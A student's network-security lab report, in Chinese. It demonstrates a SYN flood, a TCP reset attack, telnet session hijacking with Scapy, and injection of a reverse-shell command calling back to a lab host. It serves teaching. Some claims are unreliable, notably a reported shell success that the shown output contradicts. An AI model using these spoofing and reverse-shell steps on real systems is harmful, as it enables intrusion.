

LAB3

57118107 任子悦

Task 1

在进入受害者主机后，输入命令 `sysctl -w net.ipv4.tcp_syncookies=1`，改变队列的大小

```
root@4a8378e43ea8:/# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
```

此时在受害者主机上输入命令 `nststat -nat`，此时队列中没有与其他主机的通信。

```
root@4a8378e43ea8:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:39379        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
```

打开文件 `docker-compose.yml`，发现其中受害者主机的 SYN cookie 被禁用

```
Victim:
  image: handsonsecurity/seed-ubuntu:large
  container_name: victim-10.9.0.5
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.tcp_syncookies=0
  networks:
    net-10.9.0.0:
      ipv4_address: 10.9.0.5
  command: bash -c "
    /etc/init.d/openbsd-inetd start &&
    tail -f /dev/null
  "
```

编译文件 `synflood.c` 后，输入命令 `sudo synflood 10.9.0.5 23`。

```
[07/10/21]seed@VM:~/.../volumes$ gcc -o synflood synflood.c
[07/10/21]seed@VM:~/.../volumes$ sudo ./synflood 10.9.0.5 23
```

进入受害者主机，先输入命令 `ip_tcp metrics flush` 刷新，再输入 `nststat -nat`，SYN 泛洪攻击成功。

```
root@4a8378e43ea8:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:39379        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             17.198.136.7:4572       SYN_RECV
tcp        0      0 10.9.0.5:23             152.81.219.0:32667       SYN_RECV
tcp        0      0 10.9.0.5:23             162.140.105.35:30262     SYN_RECV
tcp        0      0 10.9.0.5:23             114.48.60.38:33873       SYN_RECV
tcp        0      0 10.9.0.5:23             187.106.22.8:19434       SYN_RECV
tcp        0      0 10.9.0.5:23             62.150.49.85:33984       SYN_RECV
tcp        0      0 10.9.0.5:23             1.46.43.34:8988          SYN_RECV
tcp        0      0 10.9.0.5:23             198.155.37.45:5632       SYN_RECV
tcp        0      0 10.9.0.5:23             240.16.247.68:18054       SYN_RECV
tcp        0      0 10.9.0.5:23             95.183.11.127:31095       SYN_RECV
tcp        0      0 10.9.0.5:23             43.137.67.125:37257       SYN_RECV
tcp        0      0 10.9.0.5:23             72.207.16.4:39513        SYN_RECV
tcp        0      0 10.9.0.5:23             92.150.171.96:32168       SYN_RECV
tcp        0      0 10.9.0.5:23             4.187.118.122:5629        SYN_RECV
tcp        0      0 10.9.0.5:23             219.33.46.27:42306        SYN_RECV
tcp        0      0 10.9.0.5:23             182.80.54.103:10447       SYN_RECV
tcp        0      0 10.9.0.5:23             59.3.137.61:57061        SYN_RECV
tcp        0      0 10.9.0.5:23             15.190.10.113:56519       SYN_RECV
tcp        0      0 10.9.0.5:23             158.83.128.67:26801       SYN_RECV
tcp        0      0 10.9.0.5:23             111.84.86.3:33938        SYN_RECV
tcp        0      0 10.9.0.5:23             33.45.238.29:41447        SYN_RECV
```

Task 2

打开 wireshark 监听。

在 docker 中 user1(10.9.0.6)向 user2(10.9.0.7) telnet

```
root@a4ce5189fcd9:/# telnet 10.9.0.7
Trying 10.9.0.7...
Connected to 10.9.0.7.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9cd742e405fe login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Jul 10 23:05:27 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on pts
/2
```

wireshark 抓包结果如下:

No.	Time	Source	Destination	Protocol	Length	Info
97	2021-07-10 19:2...	10.9.0.6	10.9.0.6	TELNET	150	Telnet Data ...
98	2021-07-10 19:2...	10.9.0.6	10.9.0.7	TCP	66	50942 → 23 [ACK] Seq=3938908045 Ack=581674046 Win=64128 Len=0...
99	2021-07-10 19:2...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
100	2021-07-10 19:2...	10.9.0.6	10.9.0.7	TCP	66	50942 → 23 [ACK] Seq=3938908045 Ack=581674067 Win=64128 Len=0...
101	2021-07-10 19:2...	fe80::42:96ff:fe9d::...	ff02::fb	MDNS	107	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
102	2021-07-10 19:2...	10.9.0.6	10.9.0.7	TELNET	68	Telnet Data ...
103	2021-07-10 19:2...	10.9.0.7	10.9.0.6	TCP	66	23 → 50942 [ACK] Seq=581674067 Ack=3938908047 Win=65152 Len=0...
104	2021-07-10 19:2...	10.9.0.7	10.9.0.6	TELNET	68	Telnet Data ...
105	2021-07-10 19:2...	10.9.0.6	10.9.0.7	TCP	66	50942 → 23 [ACK] Seq=3938908047 Ack=581674069 Win=64128 Len=0...
106	2021-07-10 19:2...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
107	2021-07-10 19:2...	10.9.0.6	10.9.0.7	TCP	66	50942 → 23 [ACK] Seq=3938908047 Ack=581674090 Win=64128 Len=0...
Frame 107: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface br-d851ef7c80cf, id 0						
Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:07 (02:42:0a:09:00:07)						
Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.7						
Transmission Control Protocol, Src Port: 50942, Dst Port: 23, Seq: 3938908047, Ack: 581674090, Len: 0						
Source Port: 50942						
Destination Port: 23						
[Stream index: 0]						
[TCP Segment Len: 0]						
Sequence number: 3938908047						
[Next sequence number: 3938908047]						
Acknowledgment number: 581674090						
1000 ... = Header Length: 32 bytes (8)						
Flags: 0x010 (ACK)						
Window size value: 501						
[Calculated window size: 64128]						
[Window size scaling factor: 128]						
Checksum: 0x1445 [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
[SEQ/ACK analysis]						
[Timestamps]						

最后一次通信是从 user1 (IP:10.9.0.6, 端口号: 50942) 发给 user2 (IP:10.9.0.7, 端口号: 23)。

ack=581674090, seq=3938908047, len=0。

运行如下脚本:

```
from scapy.all import *
ip = IP(src="10.9.0.7", dst="10.9.0.6")
tcp = TCP(sport=23, dport=50942, flags="R", seq=581674090, ack=3938908047)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```

结果如下:

```
[07/10/21]seed@VM:~/Desktop$ sudo python3 3.2attack.py
version      : BitField (4 bits)          = 4              (4)
ihl          : BitField (4 bits)          = None           (None)
tos          : XByteField                 = 0              (0)
len          : ShortField                 = None           (None)
id           : ShortField                 = 1              (1)
flags        : FlagsField (3 bits)        = <Flag 0 (>)    (<Flag 0 (>))
frag         : BitField (13 bits)         = 0              (0)
ttl          : ByteField                  = 64             (64)
proto        : ByteEnumField              = 6              (0)
chksum       : XShortField                = None           (None)
src          : SourceIPField              = '10.9.0.7'     (None)
dst          : DestIPField                = '10.9.0.6'     (None)
options      : PacketListField            = []             ([])
--
sport        : ShortEnumField             = 23             (20)
dport        : ShortEnumField             = 50942          (80)
seq          : IntField                   = 581674090      (0)
ack          : IntField                   = 3938908047     (0)
dataofs      : BitField (4 bits)          = None           (None)
reserved     : BitField (3 bits)          = 0              (0)
flags        : FlagsField (9 bits)        = <Flag 4 (R)>    (<Flag 2 (S)>)
)
window       : ShortField                 = 8192           (8192)
chksum       : XShortField                = None           (None)
urgptr       : ShortField                 = 0              (0)
options      : TCPOptionsField            = []             (b'')
```

受害者的终端显示本次连接已断开:

```
seed@9cd742e405fe:~$ Connection closed by foreign host.
root@a4ce5189fcd9:/#
```

Task 3

在 docker 中 user1(10.9.0.6)向 user2(10.9.0.7) telnet
wireshark 抓包结果如下:

No.	Time	Source	Destination	Protocol	Length	Info
101	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TELNET	67	Telnet Data ...
102	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	67	Telnet Data ...
103	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112183 Ack=4088232453 Win=64128 Len=...
104	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TELNET	68	Telnet Data ...
105	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	68	Telnet Data ...
106	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232455 Win=64128 Len=...
107	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	75	Telnet Data ...
108	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232464 Win=64128 Len=...
109	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
110	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232485 Win=64128 Len=...
111	2021-07-11 17:5...	fe80::42:23ff:fe7e::...	ff02::fb	MDNS	107	Standard query 0x0000 PTR iops.tcp.local. "OM" question PTR...

Acknowledgment number: 4088232485	
1000 = Header Length: 32 bytes (8)	
Flags: 0x010 (ACK)	
Window size value: 501	
[Calculated window size: 64128]	
[Window size scaling factor: 128]	
Checksum: 0x1445 [unverified]	
[Checksum Status: Unverified]	
Urgent pointer: 0	
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps	
[SEQ/ACK analysis]	
[Timestamps]	

0000	02 42 0a 09 00 07 02 42	0a 09 00 06 08 00 45 10	.B...B.....E..
0010	00 34 66 34 40 00 40 06	c0 61 0a 09 00 06 0a 09	-4f4@.0..a.....
0020	00 07 cc ac 00 17 ee 6c	de 39 f3 ad 7a 25 80 101.9..z%..
0030	01 f5 14 45 00 00 01 01	08 0a cd 8f bd e9 d4 31	...E.....1
0040	2d 35		-5

运行如下脚本:

```

from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=52396, dport=23, flags="A", seq=4000112185, ack=4088232485)
data = "whoami\r\n"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
~

```

在根据抓取的信息，确定目的和源的端口号和 ACK,seq 值，这次劫持对话的过程中，伪造自己的身份为 user1(10.9.0.6)，向 user2(10.9.0.6)发出“whoami”的命令。

结果如下：

No.	Time	Source	Destination	Protocol	Length	Info
108	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232464 Win=64128 Len=...
109	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
110	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232485 Win=64128 Len=...
111	2021-07-11 17:5...	fe80::42:23ff:fe7e:...	ff02::fb	MDNS	107	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
112	2021-07-11 17:5...	fe80::42:23ff:fe7e:...	ff02::2	ICMPv6	70	Router Solicitation from 02:42:23:7e:26:eb
113	2021-07-11 17:5...	10.9.0.1	224.0.0.251	MDNS	87	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
114	2021-07-11 18:0...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
115	2021-07-11 18:0...	02:42:23:7e:26:eb	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
116	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TELNET	62	Telnet Data ...
117	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	74	Telnet Data ...
118	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	93	Telnet Data ...

Window size value: 8192
[Calculated window size: 1048576]
[Window size scaling factor: 128]
Checksum: 0x1333 [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
↳ [SEQ/ACK analysis]
↳ [Timestamps]
TCP payload (8 bytes)
Telnet
Data: whoami\r\n

```

0000 02 42 0a 09 00 07 02 42 23 7e 26 eb 08 00 45 00  -B....B #-&...E.
0010 00 30 00 01 00 00 40 06 66 a9 0a 09 00 06 0a 09  -0...@. f.....
0020 00 07 cc ac 00 17 ee 6c de 39 f3 ad 7a 26 50 10  -.....l .9.-z%P.
0030 20 00 13 33 00 00 77 68 6f 61 6d 69 0d 0a      -..3...wh oam1..

```

No.	Time	Source	Destination	Protocol	Length	Info
108	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232464 Win=64128 Len=...
109	2021-07-11 17:5...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
110	2021-07-11 17:5...	10.9.0.6	10.9.0.7	TCP	66	52396 → 23 [ACK] Seq=4000112185 Ack=4088232485 Win=64128 Len=...
111	2021-07-11 17:5...	fe80::42:23ff:fe7e:...	ff02::fb	MDNS	107	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
112	2021-07-11 17:5...	fe80::42:23ff:fe7e:...	ff02::2	ICMPv6	70	Router Solicitation from 02:42:23:7e:26:eb
113	2021-07-11 17:5...	10.9.0.1	224.0.0.251	MDNS	87	Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR...
114	2021-07-11 18:0...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
115	2021-07-11 18:0...	02:42:0a:09:00:07	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
116	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TELNET	62	Telnet Data ...
117	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	74	Telnet Data ...
118	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	93	Telnet Data ...

Window size value: 509
[Calculated window size: 65152]
[Window size scaling factor: 128]
Checksum: 0x1460 [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
↳ [SEQ/ACK analysis]
↳ [Timestamps]
TCP payload (27 bytes)
Telnet
Data: seed\r\n

```

0000 02 42 0a 09 00 06 02 42 0a 09 00 07 08 00 45 10  -B....B .....E.
0010 00 4f 20 08 40 00 40 06 06 73 0a 09 00 07 0a 09  -0 .@.@. -s.....
0020 00 06 00 17 cc ac f3 ad 7a 2d fe 0c de 41 80 18  -.....z-1.A.
0030 01 fd 14 00 00 00 01 01 08 0a d4 32 81 1e cd 8f  -.....2....
0040 bd e9 73 65 65 64 0d 0a 73 65 65 64 40 39 63 64  -..seed...seed@9cd
0050 37 34 32 65 34 30 35 66 65 3a 7e 24 20          742e405f ei:~$

```

Task 4

在 docker 中，由 user1(10.9.0.6)向 user2(10.9.0.7)发起 telnet。

wireshark 抓包结果如下：

|| Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
285	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TCP	66	23 → 52478 [ACK] Seq=1251366268 Ack=838227683 Win=65152 Len=0...
286	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TELNET	68	Telnet Data ...
287	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TCP	66	23 → 52478 [ACK] Seq=1251366268 Ack=838227685 Win=65152 Len=0...
288	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	68	Telnet Data ...
289	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366270 Win=64256 Len=0...
290	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	476	Telnet Data ...
291	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366680 Win=64128 Len=0...
292	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	150	Telnet Data ...
293	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366764 Win=64128 Len=0...
294	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
295	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366785 Win=64128 Len=0...
A knowledge number: 1251366785						
1000 ... = Header Length: 32 bytes (8)						
Flags: 0x010 (ACK)						
Window size value: 501						
[Calculated window size: 64128]						
[Window size scaling factor: 128]						
Checksum: 0x1445 [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
[SEQ/ACK analysis]						
[Timestamps]						
0000	02 42 0a 09 00 07 02 42	0a 09 00 06 08 00 45 10	.B....B....E.			
0010	00 34 2b 50 40 00 40 06	fb 45 0a 09 00 06 0a 09	.4+P0.0. .E.....			
0020	00 07 cc fe 00 17 31 f6	56 e5 4a 96 57 81 80 101. V.J.W...			
0030	01 f5 14 45 00 00 01 01	08 0a cd 99 4d cd d4 3a	...E.....M...			
0040	bd 19		..			

运行如下脚本:

```
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=52478, dport=23, flags="A", seq=838227685, ack=1251366785)
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r\n"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```

结果如下:

No.	Time	Source	Destination	Protocol	Length	Info
294	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
295	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366785 Win=64128 Len=0...
296	2021-07-11 18:1...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
297	2021-07-11 18:1...	02:42:23:7e:26:eb	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
298	2021-07-11 18:1...	10.9.0.6	10.9.0.7	TELNET	103	Telnet Data ...
299	2021-07-11 18:1...	10.9.0.7	10.9.0.6	TCP	66	23 → 52478 [ACK] Seq=1251366785 Ack=838227734 Win=65152 Len=0...
300	2021-07-11 18:1...	10.9.0.7	10.9.0.1	TCP	74	50070 → 9090 [SYN] Seq=1356573409 Win=64240 Len=0 MSS=1460 SA...
301	2021-07-11 18:1...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
302	2021-07-11 18:1...	02:42:23:7e:26:eb	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
303	2021-07-11 18:1...	10.9.0.1	10.9.0.7	TCP	54	9090 → 50070 [RST, ACK] Seq=0 Ack=1356573410 Win=0 Len=0
304	2021-07-11 18:1...	10.9.0.7	10.9.0.6	TELNET	223	Telnet Data ...
Window size value: 8192						
[Calculated window size: 1048576]						
[Window size scaling factor: 128]						
Checksum: 0x8987 [unverified]						
[Checksum Status: Unverified]						
Urgent pointer: 0						
[SEQ/ACK analysis]						
[Timestamps]						
TCP payload (49 bytes)						
Telnet						
Data: /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r\n						
0000	02 42 0a 09 00 07 02 42	23 7e 26 eb 08 00 45 00	.B....B #-&...E.			
0010	00 59 00 01 00 00 40 06	66 80 0a 09 00 06 0a 09	.Y....@. f.....			
0020	00 07 cc fe 00 17 31 f6	56 e5 4a 96 57 81 80 101. V.J.W...			
0030	20 00 89 87 00 00 2f 62	69 6e 2f 62 61 73 68 20/b in/bash			
0040	2d 69 20 3e 20 2f 64 65	76 2f 74 63 70 2f 31 30	-i > /dev v/tcp/10			
0050	2e 39 2e 30 2e 31 2f 39	30 39 30 20 30 3c 26 31	.0.0.1/9 090 0<&1			
0060	20 32 3e 26 31 0d 0a		2>&1..			

成功以 user1(10.9.0.6)的身份向 user2(10.9.0.7)发送了反向 shell 命令。

No.	Time	Source	Destination	Protocol	Length	Info
294	2021-07-11 18:0...	10.9.0.7	10.9.0.6	TELNET	87	Telnet Data ...
295	2021-07-11 18:0...	10.9.0.6	10.9.0.7	TCP	66	52478 → 23 [ACK] Seq=838227685 Ack=1251366785 Win=64128 Len=0...
296	2021-07-11 18:1...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
297	2021-07-11 18:1...	02:42:0a:09:00:07	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
298	2021-07-11 18:1...	10.9.0.6	10.9.0.7	TELNET	103	Telnet Data ...
299	2021-07-11 18:1...	10.9.0.7	10.9.0.6	TCP	66	23 → 52478 [ACK] Seq=1251366785 Ack=838227734 Win=65152 Len=0...
300	2021-07-11 18:1...	10.9.0.7	10.9.0.1	TCP	74	50070 → 9090 [SYN] Seq=1356573409 Win=64240 Len=0 MSS=1460 SA...
301	2021-07-11 18:1...	02:42:23:7e:26:eb	Broadcast	ARP	42	Who has 10.9.0.7? Tell 10.9.0.1
302	2021-07-11 18:1...	02:42:0a:09:00:07	02:42:23:7e:26:eb	ARP	42	10.9.0.7 is at 02:42:0a:09:00:07
303	2021-07-11 18:1...	10.9.0.1	10.9.0.7	TCP	54	9090 → 50070 [RST, ACK] Seq=0 Ack=1356573410 Win=0 Len=0
304	2021-07-11 18:1...	10.9.0.7	10.9.0.6	TELNET	223	Telnet Data ...
[Checksum Status: Unverified]						
Urgent pointer: 0						
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps						
[SEQ/ACK analysis]						
[Timestamps]						
TCP payload (157 bytes)						
Telnet						
Data: /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r\n						
Data: -bash: connect: Connection refused\r\n						
Data: -bash: /dev/tcp/10.9.0.1/9090: Connection refused\r\n						
Data: seed@9cd742e405fe:~\$						
0000	02 42 0a 09 00 06 02 42	0a 09 00 07 08 00 45 10	B.....B.....E:			
0010	00 d1 05 cf 40 00 40 00	20 2a 0a 09 00 07 0a 09	...@...*.....			
0020	00 06 00 17 cc fe 4a 96	57 81 31 f6 57 16 80 18J.W.1.W...			
0030	01 fd 14 e2 00 00 01 01	08 0a d4 3c eb bb cd 99<.....			
0040	4d cd 2f 62 69 6e 2f 62	61 73 68 20 2d 69 20 3e	M./bin/b ash -i >			
0050	20 2f 64 65 76 2f 74 63	70 2f 31 30 2e 39 2e 30	/dev/tc p/10.9.0			
0060	2e 31 2f 39 30 39 30 20	30 3c 26 31 20 32 3e 26	.1/9090 0<&1 2>&			
0070	31 0d 0a 2d 62 61 73 68	3a 20 63 6f 6e 6e 65 63	1---bash : connec			
0080	74 3a 20 43 6f 6e 6e 65	63 74 69 6f 6e 20 72 65	t: Conne ction re			
0090	66 75 73 65 64 0d 0a 2d	62 61 73 68 3a 20 2f 64	fused--- bash: /d			
00a0	65 76 2f 74 63 70 2f 31	30 2e 39 2e 30 2e 31 2f	ev/tcp/1 0.9.0.1/			
00b0	39 39 39 30 3a 20 43 6f	6e 6e 65 63 74 69 6f 6e	9090: Co nnection			
00c0	20 72 65 66 75 73 65 64	0d 0a 73 65 65 64 40 39	refused -seed@9			
00d0	63 64 37 34 32 65 34 30	35 66 65 3a 7e 24 20	cd742e40 5fe:~\$			

由于反向 shell 命令，user2(10.9.0.7)已经向 user1(10.9.0.6)发回了相应的答复。